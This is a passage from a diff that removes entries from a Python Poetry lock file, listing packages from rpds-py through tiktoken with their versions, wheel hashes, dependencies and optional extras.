"sha256:dea0808153f1fbbad772669d906cddd92100277533a03845de6893cadeffc8be"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d2a81bdcfde4245468f7030a75a37d50400ac2455c3a4819d9d550c937f90ab5"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e6491658dd2569f05860bad645569145c8626ac231877b0fb2d5f9bcb7054089"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:bec77545d188f8bdd29d42bccb9191682a46fb2e655e3d1fb446d47c55ac3b8d"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25a4aebf8ca02bbb90a9b3e7a463bbf3bee02ab1c446840ca07b1695a68ce424"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:44524b96481a4c9b8e6c46d6afe43fa1fb485c261e359fbe32b63ff60e3884d8"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45d04a73c54b6a5fd2bab91a4b5bc8b426949586e61340e212a8484919183859"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:343cf24de9ed6c728abefc5d5c851d5de06497caa7ac37e5e65dd572921ed1b5"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7aed8118ae20515974650d08eb724150dc2e20c2814bcc307089569995e88a14"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:af9d4fd79ee1cc8e7caf693ee02737daabfc0fcf2773ca0a4735b356c8ad6f7c"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f0396e894bd1e66c74ecbc08b4f6a03dc331140942c4b1d345dd131b68574a60"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:59714ab0a5af25d723d8e9816638faf7f4254234decb7d212715c1aa71eee7be"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:88051c3b7d5325409f433c5a40328fcb0685fc04e5db49ff936e910901d10114"}, - {file = "rpds_py-0.27.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:181bc29e59e5e5e6e9d63b143ff4d5191224d355e246b5a48c88ce6b35c4e466"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:9ad08547995a57e74fea6abaf5940d399447935faebbd2612b3b0ca6f987946b"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:61490d57e82e23b45c66f96184237994bfafa914433b8cd1a9bb57fecfced59d"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7cf5e726b6fa977e428a61880fb108a62f28b6d0c7ef675b117eaff7076df49"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:dc662bc9375a6a394b62dfd331874c434819f10ee3902123200dbcf116963f89"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:299a245537e697f28a7511d01038c310ac74e8ea213c0019e1fc65f52c0dcb23"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:be3964f7312ea05ed283b20f87cb533fdc555b2e428cc7be64612c0b2124f08c"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33ba649a6e55ae3808e4c39e01580dc9a9b0d5b02e77b66bb86ef117922b1264"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:81f81bbd7cdb4bdc418c09a73809abeda8f263a6bf8f9c7f93ed98b5597af39d"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:11e8e28c0ba0373d052818b600474cfee2fafa6c9f36c8587d217b13ee28ca7d"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:e3acb9c16530362aeaef4e84d57db357002dc5cbfac9a23414c3e73c08301ab2"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-musllinux_1_2_i686.whl", hash = "sha256:2e307cb5f66c59ede95c00e93cd84190a5b7f3533d7953690b2036780622ba81"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:f09c9d4c26fa79c1bad927efb05aca2391350b8e61c38cbc0d7d3c814e463124"}, - {file = "rpds_py-0.27.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:af22763a0a1eff106426a6e1f13c4582e0d0ad89c1493ab6c058236174cd6c6a"}, - {file = "rpds_py-0.27.0.tar.gz", hash = "sha256:8b23cf252f180cda89220b378d917180f29d313cd6a07b2431c0d3b776aae86f"}, -] - -[[package]] -name = "rq" -version = "2.4.1" -description = "RQ is a simple, lightweight, library for creating background jobs, and processing them." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "rq-2.4.1-py3-none-any.whl", hash = "sha256:a3a0839ba3213a9be013b398670caf71d9360a0c8525f343687cf2c2199e5ec8"}, - {file = "rq-2.4.1.tar.gz", hash = "sha256:40ba01af3edacc008ab376009a3a547278d2bfe02a77cd4434adc0b01788239f"}, -] - -[package.dependencies] -click = ">=5" -redis = ">=3.5,<6 || >6" - -[[package]] -name = "ruff" -version = "0.11.13" -description = "An extremely fast Python linter and code formatter, written in Rust." -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "ruff-0.11.13-py3-none-linux_armv6l.whl", hash = "sha256:4bdfbf1240533f40042ec00c9e09a3aade6f8c10b6414cf11b519488d2635d46"}, - {file = "ruff-0.11.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aef9c9ed1b5ca28bb15c7eac83b8670cf3b20b478195bd49c8d756ba0a36cf48"}, - {file = "ruff-0.11.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:53b15a9dfdce029c842e9a5aebc3855e9ab7771395979ff85b7c1dedb53ddc2b"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab153241400789138d13f362c43f7edecc0edfffce2afa6a68434000ecd8f69a"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6c51f93029d54a910d3d24f7dd0bb909e31b6cd989a5e4ac513f4eb41629f0dc"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1808b3ed53e1a777c2ef733aca9051dc9bf7c99b26ece15cb59a0320fbdbd629"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:d28ce58b5ecf0f43c1b71edffabe6ed7f245d5336b17805803312ec9bc665933"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55e4bc3a77842da33c16d55b32c6cac1ec5fb0fbec9c8c513bdce76c4f922165"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:633bf2c6f35678c56ec73189ba6fa19ff1c5e4807a78bf60ef487b9dd272cc71"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ffbc82d70424b275b089166310448051afdc6e914fdab90e08df66c43bb5ca9"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4a9ddd3ec62a9a89578c85842b836e4ac832d4a2e0bfaad3b02243f930ceafcc"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d237a496e0778d719efb05058c64d28b757c77824e04ffe8796c7436e26712b7"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:26816a218ca6ef02142343fd24c70f7cd8c5aa6c203bca284407adf675984432"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:51c3f95abd9331dc5b87c47ac7f376db5616041173826dfd556cfe3d4977f492"}, - {file = "ruff-0.11.13-py3-none-win32.whl", hash = "sha256:96c27935418e4e8e77a26bb05962817f28b8ef3843a6c6cc49d8783b5507f250"}, - {file = "ruff-0.11.13-py3-none-win_amd64.whl", hash = "sha256:29c3189895a8a6a657b7af4e97d330c8a3afd2c9c8f46c81e2fc5a31866517e3"}, - {file = "ruff-0.11.13-py3-none-win_arm64.whl", hash = "sha256:b4385285e9179d608ff1d2fb9922062663c658605819a6876d8beef0c30b7f3b"}, - {file = "ruff-0.11.13.tar.gz", hash = "sha256:26fa247dc68d1d4e72c179e08889a25ac0c7ba4d78aecfc835d49cbfd60bf514"}, -] - -[[package]] -name = "s3transfer" -version = "0.10.4" -description = "An Amazon S3 Transfer Manager" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "s3transfer-0.10.4-py3-none-any.whl", hash = "sha256:244a76a24355363a68164241438de1b72f8781664920260c48465896b712a41e"}, - {file = "s3transfer-0.10.4.tar.gz", hash = "sha256:29edc09801743c21eb5ecbc617a152df41d3c287f67b615f73e5f750583666a7"}, -] - -[package.dependencies] -botocore = ">=1.33.2,<2.0a.0" - -[package.extras] -crt = ["botocore[crt] (>=1.33.2,<2.0a.0)"] - -[[package]] -name = "setuptools" -version = "80.9.0" -description = "Easily download, build, install, upgrade, and uninstall Python packages" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, - {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.8.0)"] -core = ["importlib_metadata (>=6)", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib_metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.14.*)", "pytest-mypy"] - -[[package]] -name = "six" -version = "1.17.0" -description = "Python 2 and 3 compatibility utilities" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["main"] -files = [ - {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, - {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, -] - -[[package]] -name = "smmap" -version = "5.0.2" -description = "A pure Python implementation of a sliding window memory map manager" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "smmap-5.0.2-py3-none-any.whl", hash = "sha256:b30115f0def7d7531d22a0fb6502488d879e75b260a9db4d0819cfb25403af5e"}, - {file = "smmap-5.0.2.tar.gz", hash = "sha256:26ea65a03958fa0c8a1c7e8c7a58fdc77221b8910f6be2131affade476898ad5"}, -] - -[[package]] -name = "sniffio" -version = "1.3.1" -description = "Sniff out which async library your code is running under" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, - {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, -] - -[[package]] -name = "snowballstemmer" -version = "3.0.1" -description = "This package provides 32 stemmers for 30 languages generated from Snowball algorithms." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*" -groups = ["main"] -files = [ - {file = "snowballstemmer-3.0.1-py3-none-any.whl", hash = "sha256:6cd7b3897da8d6c9ffb968a6781fa6532dce9c3618a4b127d920dab764a19064"}, - {file = "snowballstemmer-3.0.1.tar.gz", hash = "sha256:6d5eeeec8e9f84d4d56b847692bacf79bc2c8e90c7f80ca4444ff8b6f2e52895"}, -] - -[[package]] -name = "soupsieve" -version = "2.7" -description = "A modern CSS selector implementation for Beautiful Soup." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4"}, - {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, -] - -[[package]] -name = "speechrecognition" -version = "3.14.3" -description = "Library for performing speech recognition, with support for several engines and APIs, online and offline." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "speechrecognition-3.14.3-py3-none-any.whl", hash = "sha256:1859fbb09ae23fa759200f5b0677307f1fb16e2c5c798f4259fcc41dd5399fe6"}, - {file = "speechrecognition-3.14.3.tar.gz", hash = "sha256:bdd2000a9897832b33095e33adfa48580787255706092e1346d1c6c36adae0a4"}, -] - -[package.dependencies] -audioop-lts = {version = "*", markers = "python_version >= \"3.13\""} -standard-aifc = {version = "*", markers = "python_version >= \"3.13\""} -typing-extensions = "*" - -[package.extras] -assemblyai = ["requests"] -audio = ["PyAudio (>=0.2.11)"] -dev = ["numpy", "pytest", "pytest-randomly", "respx"] -faster-whisper = ["faster-whisper"] -google-cloud = ["google-cloud-speech"] -groq = ["groq", "httpx (<0.28)"] -openai = ["httpx (<0.28)", "openai"] -pocketsphinx = ["pocketsphinx"] -whisper-local = ["openai-whisper", "soundfile"] - -[[package]] -name = "sphinx" -version = "8.2.3" -description = "Python documentation generator" -optional = false -python-versions = ">=3.11" -groups = ["main"] -files = [ - {file = "sphinx-8.2.3-py3-none-any.whl", hash = "sha256:4405915165f13521d875a8c29c8970800a0141c14cc5416a38feca4ea5d9b9c3"}, - {file = "sphinx-8.2.3.tar.gz", hash = "sha256:398ad29dee7f63a75888314e9424d40f52ce5a6a87ae88e7071e80af296ec348"}, -] - -[package.dependencies] -alabaster = ">=0.7.14" -babel = ">=2.13" -colorama = {version = ">=0.4.6", markers = "sys_platform == \"win32\""} -docutils = ">=0.20,<0.22" -imagesize = ">=1.3" -Jinja2 = ">=3.1" -packaging = ">=23.0" -Pygments = ">=2.17" -requests = ">=2.30.0" -roman-numerals-py = ">=1.0.0" -snowballstemmer = ">=2.2" -sphinxcontrib-applehelp = ">=1.0.7" -sphinxcontrib-devhelp = ">=1.0.6" -sphinxcontrib-htmlhelp = ">=2.0.6" -sphinxcontrib-jsmath = ">=1.0.1" -sphinxcontrib-qthelp = ">=1.0.6" -sphinxcontrib-serializinghtml = ">=1.1.9" - -[package.extras] -docs = ["sphinxcontrib-websupport"] -lint = ["betterproto (==2.0.0b6)", "mypy (==1.15.0)", "pypi-attestations (==0.0.21)", "pyright (==1.1.395)", "pytest (>=8.0)", "ruff (==0.9.9)", "sphinx-lint (>=0.9)", "types-Pillow (==10.2.0.20240822)", "types-Pygments (==2.19.0.20250219)", "types-colorama (==0.4.15.20240311)", "types-defusedxml (==0.7.0.20240218)", "types-docutils (==0.21.0.20241128)", "types-requests (==2.32.0.20241016)", "types-urllib3 (==1.26.25.14)"] -test = ["cython (>=3.0)", "defusedxml (>=0.7.1)", "pytest (>=8.0)", "pytest-xdist[psutil] (>=3.4)", "setuptools (>=70.0)", "typing_extensions (>=4.9)"] - -[[package]] -name = "sphinxcontrib-applehelp" -version = "2.0.0" -description = "sphinxcontrib-applehelp is a Sphinx extension which outputs Apple help books" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sphinxcontrib_applehelp-2.0.0-py3-none-any.whl", hash = "sha256:4cd3f0ec4ac5dd9c17ec65e9ab272c9b867ea77425228e68ecf08d6b28ddbdb5"}, - {file = "sphinxcontrib_applehelp-2.0.0.tar.gz", hash = "sha256:2f29ef331735ce958efa4734873f084941970894c6090408b079c61b2e1c06d1"}, -] - -[package.extras] -lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] -standalone = ["Sphinx (>=5)"] -test = ["pytest"] - -[[package]] -name = "sphinxcontrib-devhelp" -version = "2.0.0" -description = "sphinxcontrib-devhelp is a sphinx extension which outputs Devhelp documents" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sphinxcontrib_devhelp-2.0.0-py3-none-any.whl", hash = "sha256:aefb8b83854e4b0998877524d1029fd3e6879210422ee3780459e28a1f03a8a2"}, - {file = "sphinxcontrib_devhelp-2.0.0.tar.gz", hash = "sha256:411f5d96d445d1d73bb5d52133377b4248ec79db5c793ce7dbe59e074b4dd1ad"}, -] - -[package.extras] -lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] -standalone = ["Sphinx (>=5)"] -test = ["pytest"] - -[[package]] -name = "sphinxcontrib-htmlhelp" -version = "2.1.0" -description = "sphinxcontrib-htmlhelp is a sphinx extension which renders HTML help files" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sphinxcontrib_htmlhelp-2.1.0-py3-none-any.whl", hash = "sha256:166759820b47002d22914d64a075ce08f4c46818e17cfc9470a9786b759b19f8"}, - {file = "sphinxcontrib_htmlhelp-2.1.0.tar.gz", hash = "sha256:c9e2916ace8aad64cc13a0d233ee22317f2b9025b9cf3295249fa985cc7082e9"}, -] - -[package.extras] -lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] -standalone = ["Sphinx (>=5)"] -test = ["html5lib", "pytest"] - -[[package]] -name = "sphinxcontrib-jsmath" -version = "1.0.1" -description = "A sphinx extension which renders display math in HTML via JavaScript" -optional = false -python-versions = ">=3.5" -groups = ["main"] -files = [ - {file = "sphinxcontrib-jsmath-1.0.1.tar.gz", hash = "sha256:a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8"}, - {file = "sphinxcontrib_jsmath-1.0.1-py2.py3-none-any.whl", hash = "sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178"}, -] - -[package.extras] -test = ["flake8", "mypy", "pytest"] - -[[package]] -name = "sphinxcontrib-qthelp" -version = "2.0.0" -description = "sphinxcontrib-qthelp is a sphinx extension which outputs QtHelp documents" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sphinxcontrib_qthelp-2.0.0-py3-none-any.whl", hash = "sha256:b18a828cdba941ccd6ee8445dbe72ffa3ef8cbe7505d8cd1fa0d42d3f2d5f3eb"}, - {file = "sphinxcontrib_qthelp-2.0.0.tar.gz", hash = "sha256:4fe7d0ac8fc171045be623aba3e2a8f613f8682731f9153bb2e40ece16b9bbab"}, -] - -[package.extras] -lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] -standalone = ["Sphinx (>=5)"] -test = ["defusedxml (>=0.7.1)", "pytest"] - -[[package]] -name = "sphinxcontrib-serializinghtml" -version = "2.0.0" -description = "sphinxcontrib-serializinghtml is a sphinx extension which outputs \"serialized\" HTML files (json and pickle)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sphinxcontrib_serializinghtml-2.0.0-py3-none-any.whl", hash = "sha256:6e2cb0eef194e10c27ec0023bfeb25badbbb5868244cf5bc5bdc04e4464bf331"}, - {file = "sphinxcontrib_serializinghtml-2.0.0.tar.gz", hash = "sha256:e9d912827f872c029017a53f0ef2180b327c3f7fd23c87229f7a8e8b70031d4d"}, -] - -[package.extras] -lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] -standalone = ["Sphinx (>=5)"] -test = ["pytest"] - -[[package]] -name = "sse-starlette" -version = "3.0.2" -description = "SSE plugin for Starlette" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "sse_starlette-3.0.2-py3-none-any.whl", hash = "sha256:16b7cbfddbcd4eaca11f7b586f3b8a080f1afe952c15813455b162edea619e5a"}, - {file = "sse_starlette-3.0.2.tar.gz", hash = "sha256:ccd60b5765ebb3584d0de2d7a6e4f745672581de4f5005ab31c3a25d10b52b3a"}, -] - -[package.dependencies] -anyio = ">=4.7.0" - -[package.extras] -daphne = ["daphne (>=4.2.0)"] -examples = ["aiosqlite (>=0.21.0)", "fastapi (>=0.115.12)", "sqlalchemy[asyncio] (>=2.0.41)", "starlette (>=0.41.3)", "uvicorn (>=0.34.0)"] -granian = ["granian (>=2.3.1)"] -uvicorn = ["uvicorn (>=0.34.0)"] - -[[package]] -name = "stack-data" -version = "0.6.3" -description = "Extract data from python stack frames and tracebacks for informative displays" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "stack_data-0.6.3-py3-none-any.whl", hash = "sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695"}, - {file = "stack_data-0.6.3.tar.gz", hash = "sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9"}, -] - -[package.dependencies] -asttokens = ">=2.1.0" -executing = ">=1.2.0" -pure-eval = "*" - -[package.extras] -tests = ["cython", "littleutils", "pygments", "pytest", "typeguard"] - -[[package]] -name = "standard-aifc" -version = "3.13.0" -description = "Standard library aifc redistribution. \"dead battery\"." -optional = false -python-versions = "*" -groups = ["main"] -markers = "python_version >= \"3.13\"" -files = [ - {file = "standard_aifc-3.13.0-py3-none-any.whl", hash = "sha256:f7ae09cc57de1224a0dd8e3eb8f73830be7c3d0bc485de4c1f82b4a7f645ac66"}, - {file = "standard_aifc-3.13.0.tar.gz", hash = "sha256:64e249c7cb4b3daf2fdba4e95721f811bde8bdfc43ad9f936589b7bb2fae2e43"}, -] - -[package.dependencies] -audioop-lts = {version = "*", markers = "python_version >= \"3.13\""} -standard-chunk = {version = "*", markers = "python_version >= \"3.13\""} - -[[package]] -name = "standard-chunk" -version = "3.13.0" -description = "Standard library chunk redistribution. \"dead battery\"." -optional = false -python-versions = "*" -groups = ["main"] -markers = "python_version >= \"3.13\"" -files = [ - {file = "standard_chunk-3.13.0-py3-none-any.whl", hash = "sha256:17880a26c285189c644bd5bd8f8ed2bdb795d216e3293e6dbe55bbd848e2982c"}, - {file = "standard_chunk-3.13.0.tar.gz", hash = "sha256:4ac345d37d7e686d2755e01836b8d98eda0d1a3ee90375e597ae43aaf064d654"}, -] - -[[package]] -name = "starlette" -version = "0.46.2" -description = "The little ASGI library that shines." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "starlette-0.46.2-py3-none-any.whl", hash = "sha256:595633ce89f8ffa71a015caed34a5b2dc1c0cdb3f0f1fbd1e69339cf2abeec35"}, - {file = "starlette-0.46.2.tar.gz", hash = "sha256:7f7361f34eed179294600af672f565727419830b54b7b084efe44bb82d2fccd5"}, -] - -[package.dependencies] -anyio = ">=3.6.2,<5" - -[package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] - -[[package]] -name = "stevedore" -version = "5.4.1" -description = "Manage dynamic plugins for Python applications" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "stevedore-5.4.1-py3-none-any.whl", hash = "sha256:d10a31c7b86cba16c1f6e8d15416955fc797052351a56af15e608ad20811fcfe"}, - {file = "stevedore-5.4.1.tar.gz", hash = "sha256:3135b5ae50fe12816ef291baff420acb727fcd356106e3e9cbfa9e5985cd6f4b"}, -] - -[package.dependencies] -pbr = ">=2.0.0" - -[[package]] -name = "tenacity" -version = "9.1.2" -description = "Retry code until it succeeds" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138"}, - {file = "tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb"}, -] - -[package.extras] -doc = ["reno", "sphinx"] -test = ["pytest", "tornado (>=4.5)", "typeguard"] - -[[package]] -name = "textual" -version = "4.0.0" -description = "Modern Text User Interface framework" -optional = false -python-versions = "<4.0.0,>=3.8.1" -groups = ["main"] -files = [ - {file = "textual-4.0.0-py3-none-any.whl", hash = "sha256:214051640f890676a670aa7d29cd2a37d27cfe6b2cf866e9d5abc3b6c89c5800"}, - {file = "textual-4.0.0.tar.gz", hash = "sha256:1cab4ea3cfc0e47ae773405cdd6bc2a17ed76ff7b648379ac8017ea89c5ad28c"}, -] - -[package.dependencies] -markdown-it-py = {version = ">=2.1.0", extras = ["linkify", "plugins"]} -platformdirs = ">=3.6.0,<5" -rich = ">=13.3.3" -typing-extensions = ">=4.4.0,<5.0.0" - -[package.extras] -syntax = ["tree-sitter (>=0.23.0)", "tree-sitter-bash (>=0.23.0)", "tree-sitter-css (>=0.23.0)", "tree-sitter-go (>=0.23.0)", "tree-sitter-html (>=0.23.0)", "tree-sitter-java (>=0.23.0)", "tree-sitter-javascript (>=0.23.0)", "tree-sitter-json (>=0.24.0)", "tree-sitter-markdown (>=0.3.0)", "tree-sitter-python (>=0.23.0)", "tree-sitter-regex (>=0.24.0)", "tree-sitter-rust (>=0.23.0,<=0.23.2)", "tree-sitter-sql (>=0.3.0,<0.3.8)", "tree-sitter-toml (>=0.6.0)", "tree-sitter-xml (>=0.7.0)", "tree-sitter-yaml (>=0.6.0)"] - -[[package]] -name = "tiktoken" -version = "0.11.0" -description = "tiktoken is a fast BPE tokeniser for use with OpenAI's models" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tiktoken-0.11.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:8a9b517d6331d7103f8bef29ef93b3cca95fa766e293147fe7bacddf310d5917"}, - {file = "tiktoken-0.11.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b4ddb1849e6bf0afa6cc1c5d809fb980ca240a5fffe585a04e119519758788c0"}, - {file = "tiktoken-0.11.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10331d08b5ecf7a780b4fe4d0281328b23ab22cdb4ff65e68d56caeda9940ecc"}, - {file = "tiktoken-0.11.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b062c82300341dc87e0258c69f79bed725f87e753c21887aea90d272816be882"}, - {file = "tiktoken-0.11.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:195d84bec46169af3b1349a1495c151d37a0ff4cba73fd08282736be7f92cc6c"}, - {file = "tiktoken-0.11.0-cp310-cp310-win_amd64.whl", hash = "sha256:fe91581b0ecdd8783ce8cb6e3178f2260a3912e8724d2f2d49552b98714641a1"}, - {file = "tiktoken-0.11.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4ae374c46afadad0f501046db3da1b36cd4dfbfa52af23c998773682446097cf"}, - {file = "tiktoken-0.11.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:25a512ff25dc6c85b58f5dd4f3d8c674dc05f96b02d66cdacf628d26a4e4866b"}, - {file = "tiktoken-0.11.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2130127471e293d385179c1f3f9cd445070c0772be73cdafb7cec9a3684c0458"}, - {file = "tiktoken-0.11.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21e43022bf2c33f733ea9b54f6a3f6b4354b909f5a73388fb1b9347ca54a069c"}, - {file = "tiktoken-0.11.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:adb4e308eb64380dc70fa30493e21c93475eaa11669dea313b6bbf8210bfd013"}, - {file = "tiktoken-0.11.0-cp311-cp311-win_amd64.whl", hash = 